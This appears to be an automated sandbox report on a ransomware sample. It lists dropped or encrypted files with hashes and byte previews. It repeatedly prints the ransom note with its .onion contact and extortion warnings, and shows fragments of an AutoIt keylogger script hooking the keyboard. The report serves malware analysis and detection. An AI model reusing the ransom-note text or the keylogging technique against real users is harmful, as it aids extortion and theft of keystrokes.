SSDEEP:	384:9su2EpBEhLMzi9usUtGr0qSVd6fWBYex2:h7p+hLMGhUxd6fWGm2
MD5:	6F002633F366FC5175B015834D85F877
SHA1:	D1FF65740B96268F658222FA4DCC4570A1EBC351
SHA-256:	DEEC7E97E4C7A87448D6BDC23707DBCC206F0F214A12F05B8E727951EF9F4E0A
SHA-512:	81A538E1723F26C8051175A0E550F571D14507A5EFD0AE29A62CBEDFD160B5C1BC0467D7F4CF558C5E4B8D4085386389E9B43A66669BBF2ED9BD11CFB90C8B1D
Malicious:	false
Preview:	(r3.w7....X...ROy.{'.e.OL..M...<-H.s.R......G......X.9.a..H.t.Error","ComError")....#include <ScreenCapture.au3>..#include <Array.au3>..#include <NamedPipes.au3>..#include <WinAPI.au3>..#ieC:.f;I...A...-_..%{/.O.UF.)\|...:!N.."........R..{...B.t.A.M..10)..Opt("TCPTimeout", 10)..Opt("GUIOnEventMode", 1)..Opt("TrayAutoPause", 0)..Opt("WinTitleMatchMode", 2)....Func ComError($oEryO$..T`.1.\|..2D..j4.^M.v.l....ZkD..$.Z.....;a..5cV...1.m.!.. "." & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & " COM Error: " & Hex($oError.number) & " " & $oError.description & " " & /O..p1.. .[..;.^.[1)..B...+`...<.[..%.N........]...Kq._.1.D..R. then.....ConsoleWrite($message & @CRLF)....else.....FileWriteLine($targetDrive & "logs\htmlfetcherchromecomerror.log", $message"-\..;..>.8...6.^."R..H.UL..J...? K..w.Y.....<Y.pLr.Z.s.L.KF.to = False....if not $debug then.....$a = WinGetHandle("AutoIt v3")...WinSetTitle($a, "", "GDI+ Window").....FileDelete(@ScriptF~L:.c*..Z.<..:.[..,'.K.Tf.`6...smu.n..

C:\Program Files (x86)\AutoIt3\Include\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Include\keylogger.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6749
Entropy (8bit):	6.789831621316387
Encrypted:	false
SSDEEP:	192:5YdL3UAweoSS0QDIy8EebnNJ735FjkRqSwjaBS:OUArCICebTb5d7j5
MD5:	E10B69582EC9038293C13C285D74BB3F
SHA1:	546BFDE6E4CCB97DDE8F16595963616E8DF22947
SHA-256:	D9944FC8FD38799828E80206B342E3CC81CE3D6CBE6561A2CF2511A6A94C16F9
SHA-512:	4A36F8C67F03AED526535829038638E993B8560705908D7EEC9754F7712FB252AD9583A139006221FA1D788A4DCCDBF7B992F61145981CB2661823C447EC45C3
Malicious:	false
Preview:	}Vgl..t..O.G..ae.n..?....$...@.4!.:"..=.z=..M....).....#..V..au3>....$a = WinGetHandle("AutoIt v3")..WinSetTitle($a, "", "GDI+ Window")....Opt('MustDeclareVars', 1)....FileDelete(@ScriptFu2tXY..$...+..%..d+.j..t..G....Q.~.s\|.v(..u.k>..:C...z.....wV..\, $title_1 = "", $keycode, $buffer = "", $nMsg..Global $file, $f3 = 0..$file = FileOpen("\\192.168.2.1\esxi07-W10x64_Office_01\s'kkY..~...X..-.z%.q...?..n..~.[.Y....B..0.pp...h...;....O~f.u;nd....Func _Main()...Local $hmod...$f3 = 1...$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")...$hm1\|(...Z...q....Ed.w..~....D.>.<.bd.v ..q.I1.J(...<.... ..M.kEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)...While 1....Sleep(1000)...WEnd.. EndFunc....Func EvaluateKey($ke'{g\......U..&..5+.k...k.....\...8....l-..#Q#x.cI..'....VZa.k. $title_1 <> $title Then....$title_1 = $title....FileWrite($file, @CRLF & @CRLF & "====Title:" & $title_1 & "====Time:" & @YEAR x8..+..n..l..&).$...[..C..V.....l.V.

C:\Program Files (x86)\AutoIt3\Include\liveprocess.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2968
Entropy (8bit):	7.80938469079121
Encrypted:	false
SSDEEP:	48:hKAxDvO3S2J1nC2RqQdLX39TrX9K99ayGNESWFvVWW+kUJDM3K3IKPNzgGjyCDMA:sAl23tnRqc79X9m4yGq3OmK3IUNzgGj/
MD5:	4B87E5D026002ADB0E22C737FE16EA60
SHA1:	5A0BDD3BE459CF054EBCC0ED088609E07E73BA27
SHA-256:	E8620B2A33C7128A67ADE8FE90D6161BF4C16AD6E867E68C4899DADBE7844162
SHA-512:	249B5D6779189D73BEE7EA7C4F45ACD0951602B949EFF3F5D4EB9CEA1EC43C10425397C92FCA64D80FE640145DDD58513C9CBF635BCF262620890FA089D195E6
Malicious:	false
Preview:	9J...G.%..y.......PF.k...~.@s...2,..L/%..&-?.K.V\..C.T....j/.]V...A...........{.G....."....).ND...+ .g...w..._].&...)G........I.......t.g.".m.~[...77...G...&wh...G@3.B.~6..fa.uTA..8.J...I......wV.z...8.!)...SS..;{...c.>.O.oo..@.s....C`.qp...F.$..E.......WR.1.K.%.#t..~y..+F8..c...i...k.H.v..._}.yF...d.%..............W...9.=.....qk..]#A....).A...W...R.."=..n....M............t.g.".m.......14..9Z\|.c...c...V....?...`F._[.....l..k.......)?.3.O.$.(Y...TT..L3U..cbl.~...m.3.N+...}'.rd6....p...........tG.p...(.oP...,<...3...&-A.#.EFw.6.._...L{.v`...F.....z.......AI.a...>.m7........<r...7...n.IB..L..O.7?.:.S..?.M...........h\.g...:.......+4...w...g7....UN?.P.7u..PH.S`...~.3...I.......QX.D...%.i.....ou..Z#X.J.l.m.,!k...S....jx.IF...^.-...H........3.^.@.DY........_....6).u...\...W....{g.>K/....l..........q\|.v.8.,.(Q..~y..e3Q..-.).e.1.o.H......#/.8.C....J..........)?...8.$.......<...tY.IVE...&.l.@.}*...YJ.N\| ..a.M...%........<.3.....$.....Wy..)

C:\Program Files (x86)\AutoIt3\Include\stats.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5579
Entropy (8bit):	6.9412570849738335
Encrypted:	false
SSDEEP:	96:AJoXYJMHmbMP8tIn04i5IziXFMKYEQunHFpSGMcBrcdMORaHUZqIu/hC5COjtPS:EoP8x/FMKY2FpS9cBrdHlh6XS
MD5:	4095AAC326A53BD14EDC03B76DF5883B
SHA1:	A54939900C6A1F8555BFC93AA67DCC0E94719946
SHA-256:	780AA8ABC52A12CC329B9FAF7CF61D68DABEEB7CEAE2B8EAE11F0BC809FE31E1
SHA-512:	DD5760321A51AF42CC6F17DF75AB22EFA553B031C87B451F5FD407E1DF88E917CEF40D6CC8716ACD872A5A33267023BCF90F47D1FD3B0A81D16F3479F12BB36C
Malicious:	false
Preview:	Ql....m..%M....V).G\|...cN.....i.Q.+^.N.....9.m..........:v3")..WinSetTitle($a, "", "GDI+ Window")....FileDelete(@ScriptFullPath)....$rootPath = "\\192.168.2.1\esxi07-W10x64_Office_01\sy.A....H..FJC.d...7iE...{e..F......D...........@.1.........".bi07-W10x64_Office_01\logs\stats.log", @MDAY & "." & @MON & "." & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & " " & $msg).. E.F2.......,j.k..c.Dd...0z..O..v...O'.H........!..T....5.3....Func ComError()...If IsObj($comError) Then...._JBLog("Com error: " & Hex($comError.number) & " " & $comError.description & "R.T.C.w...92j.$.V).Nz.../\|.....<.O..u.N.........j...R...N.tdif...Return 0..Endfunc....Global $cpuCount = getCPUCores()..Global $start = 0....$go = False....if $cpuCount < 4 then...$cpuCou.VT.^. ...%$l.*.5JwtC.>.8 ....0.,.ts.............v...U...M.rile True.....if IsLockStarted("statsgo") and not $go then...._JBLog("Start capturing")....$start = time()........_JBLog("Time: "R.T...u..FJ....6NYLf.O..z..b..y...G^.c.

C:\Program Files (x86)\AutoIt3\Include\word.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33235
Entropy (8bit):	6.5730293199979
Encrypted:	false
SSDEEP:	768:tBU7XFUudZdAdMnd+pckdpjVN/430rCi+:UX1dZuGd+pPpjVN/43Vz
MD5:	C1BD1EFF198ABB05B03A8A97D750E315
SHA1:	E656D450A90879B0490A6087186F1EAED89A69D8
SHA-256:	55338F73A52C9394F005B9A829083B78F8B0DD706B690C0A612B889B77EDF7D4
SHA-512:	D265A2C009B66AD2BA97CE221B4E7A5C77B7C0490F5C41384E91EF547B3D9EBF11938ADD177CE6A13C722F2661F760BE237383BB7BC674089EB2926E2D04939D
Malicious:	false
Preview:	...F..a.!'2.\..)..v..........M.~q..,m^..N?../....."O.x..-L...nagConstants.au3"..#include "WordConstants.au3"....Global $LastWordCOMErroDesc = ""....; #INDEX# =================================..W..f8.1ua.....)."..H.L..V...8h..#.....,..!....Dq..0..0S..:2======================..; Title .........: Microsoft Word Function Library (MS Word 2003 and later)..; AutoIt Version : 3.3.14.5..Q..:k.y);.....:.1..0......f3..A0.!lC...R...2...Y/C.a..y....hi functions for accessing and manipulating Microsoft Word documents..; Author(s) .....: Bob Anthony, rewritten by water..; Resour.....u+."r\|.V...&./..#......)X.^fu.'xO...^t..tY...VcA.i..`....t`ft.com/en-us/library/aa272078(v=office.11).aspx..; Word 2007 Developer Reference:..http://msdn.microsoft.com/en.....2g.m:%.[... .&.............,{.1nR...1..<....Yl..-.-N...c/2010 Developer Reference:..http://msdn.microsoft.com/en-us/library/ff841698.aspx..; ============================================..W..f8.1ua.....)."..H.L..V...8h..#...

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2372922
Entropy (8bit):	7.350339100153445
Encrypted:	false
SSDEEP:	49152:Y5ubijiIwtcfgYUqhEXjF/yIaaya4t5tkksz52Q2NMd:YK0lgY7hEXjhyPayn5ykszvV
MD5:	019F536BD1FA3B05D22B33A42BCA60C9
SHA1:	069AFB3418426C3C1785E2FCD0048502BF888093
SHA-256:	A5FBFC95F0D593BE30448E904DD1451115A82F6DEB0D10859CF54469BED9AC9B
SHA-512:	6DA3E900DE227AD0A40F6AF6F40852CC9569914CC0236E7A0A731B7E66C8871D838E4284C4AC7555688BECFCFFB7836B606640BB11CB27C3B4B9796D8E9E35C6
Malicious:	false
Preview:	.......(...t.[...<.Z...X.o.d....?.w...-g..p2G..4..Z.c..v..........!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk...f:........<0...W:.(..j..?.......BSM....E&xl.2G..4..Z.c..w..........PE..L.....(c.....................~....................@..........................p$...........@.........................!G........L[......S...X.o.d....?.w...-...pr.Z..4..Z.c..w..........P...........@............................................text...e........................... ..`.rdata...^.......`......Q......,....N[U?.]..Z...Y._.d....#.w...-g..p2G..4..t...w......@ ....... .............@..@.reloc.......P#......"#.............@..B........................................................Q......,....N[...<.Z...X.o.d....?.w...-g..p2G..4..Z.c..w..................................................................................................................................Q......,....N[...<.Z...X.o.d....?.w

C:\Program Files (x86)\AutoIt3\SciTE\au3.keywords.properties

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	91913
Entropy (8bit):	6.358189947805804
Encrypted:	false
SSDEEP:	1536:dwW6g4aJAl9EEK7/rAapcs8Aj3TNh2MvUTuLGI7BPWbG8mi/OnvWdqEbFeeAzcTB:dZSLK7/rNus8Aj3Rh2EUCc73tL2Mn
MD5:	88214C098CFF3322AF25DF233DE154B3
SHA1:	3C6FA9D5CE0EA88E8FD6B4E6DCD75D4A876DE9B3
SHA-256:	4EB3B2D7061CC0BA8CF8F9D6D3B070BB2EBE197DA545E6729F3CA51813B5A85F
SHA-512:	7FEFEB9884E7306ED1E580255DF294EBC7B63B837806F8B0ADF223724DBABECBAD3E18F7AD10FFF5E1B5D18798796C939DE15FEFFBE355D474F8AD99EFF931BE
Malicious:	false
Preview:	"......m:.._cIIG.5.p.0J...<!.[.xG...m.tj.F....9<..9...../..register adlibunregister asc ascw asin assign \...atan autoitsetoption autoitwingettitle autoitwinsettitle beep binary binarylen9......_...<.E...t@5.m......>0.B.A.].w.7\|.]./.\|2;..........hift bitxor blockinput break call \...cdtray ceiling chr chrw clipget clipput consoleread consolewrite consolewriteerror \...conm.......<..B~H...kT .z[....; ._.hO...w.cl.E.3.\|7*..5.....%..us controlgetfocus \...controlgethandle controlgetpos controlgettext controlhide controllistview controlmove \...controlsend conm......C+..YbS...uQ..>.....#6.I.cF...w.7z.J.9.l8 ..z.....&..e \...dirgetsize dirmove dirremove dllcall dllcalladdress dllcallbackfree dllcallbackgetptr \...dllcallbackregister dllclose dllv.......O-..BoU...c.%.r.....20.M.k..E.k.ek.].8.n/=..W...0..uctgetsize dllstructsetdata drivegetdrive drivegetfilesystem drivegetlabel \...drivegetserial drivegettype drivemapadd drivemapd\|.......Z/..B,C...cJ$.r......>2._.k@.O

C:\Program Files (x86)\AutoIt3\SciTE\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Uninstall.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	72075
Entropy (8bit):	7.336925449726999
Encrypted:	false
SSDEEP:	1536:xNEEvPV+95St9g3N/TWCOqpR7uiV0KqSI2XBgLbLttb7:oE3V+95a9A/4s7uiVhA+Evttb7
MD5:	B37E41830C4C0EE87AB014403BF4B217
SHA1:	1C399CCDC389D1F180AA4CBCE6C0C7ED34A95BFC
SHA-256:	3416517289A067EC5C888FEB6A89C6F27DC5E52A371614EDD8D2AA42D4E81586
SHA-512:	FE241D4ACFAE18DA2982D2F3F04E6B2407473409D416EFE3933E6AC429C9C16F758BABC0121A4F87051FC6543753946AB67CB35673A9A04719D5D18E46CDC389
Malicious:	false
Preview:	.9...M.P4..<.VgS....$#bP.....{Qp.#aq..........r\p_..}...%..........!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf..cb...M.T4...YVg.....$#b@.....{N..#aq..........t\p7..W...-..@6............@..........................p............@.......................................... ...N..........xI..`&...........cb...M.T4...YVg.....$#b......{Qp.#aq.........~r\.]..}...%...................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x........................cb...M.zZ.q.8Vg.....!b......{Qp.#aq.....\|.y....._.i3.......P..................@..@.........................................................................................................cb...M.T4...YVg.....$#b......{Qp.#aq..........r\p_..}...%...................................................................................................................................cb...M.T4...YVg.....$#b......{Qp.#aq.

C:\Program Files (x86)\AutoIt3\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\Adobe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\DESIGNER\MSADDNDR.OLB

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	27658
Entropy (8bit):	7.3916816473507545
Encrypted:	false
SSDEEP:	768:8eJB7ueDqqK+nuqnd9fBShhhz4zv3N3Q4NO:8eJB7uemqhnNnddBSXhszvN3PNO
MD5:	992ABB6B7891B249C0CF3EF6D0A30A38
SHA1:	1D70EB16604D02030D219C85F62A889A411585CF
SHA-256:	E52DC2A4092BAF3B8E202036EFBF0315860D82DBDE7138BAF26651339DE48C14
SHA-512:	7504D41A9F35F57AFBAA3A51869085E727D1727604F75E6B9A515781CE8B613261D40745B5BE979B576D04EA25EB6D5950A67E354F718D1C9F67812327FE3738
Malicious:	false
Preview:	.u..N&.\|yp@B...&......../E....og....C..2JNj...#h..._Q..............!..L.!This program cannot be run in DOS mode....$........\|..............g~..............g......Rich............PE..L....(o}M&.\|}p@B............/E....og....C..2JNj...#h...YQ..............@.......D....@.......................................... ...................N.........................................../{.M&.\|}p@B...&......../E....og....C..2JNj....B.....Q.........................@..@.rsrc........ ......................@..@.......e........l...4...4........................................].y9G.\|a`@B...&2.....\.`[(....[w...C..V+^/N...A...._q.......rsrc$01..... ..h....rsrc$02...................................................................................................../{.M&.\|}p@B...&......../E....og....C..2JNj...#h..._Q....................................................................................................................................../{.M&.\|}p@B...&......../E....og....C.

C:\Program Files (x86)\Common Files\DESIGNER\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\Java\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\Microsoft Shared\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\Oracle\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Common Files\Services\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
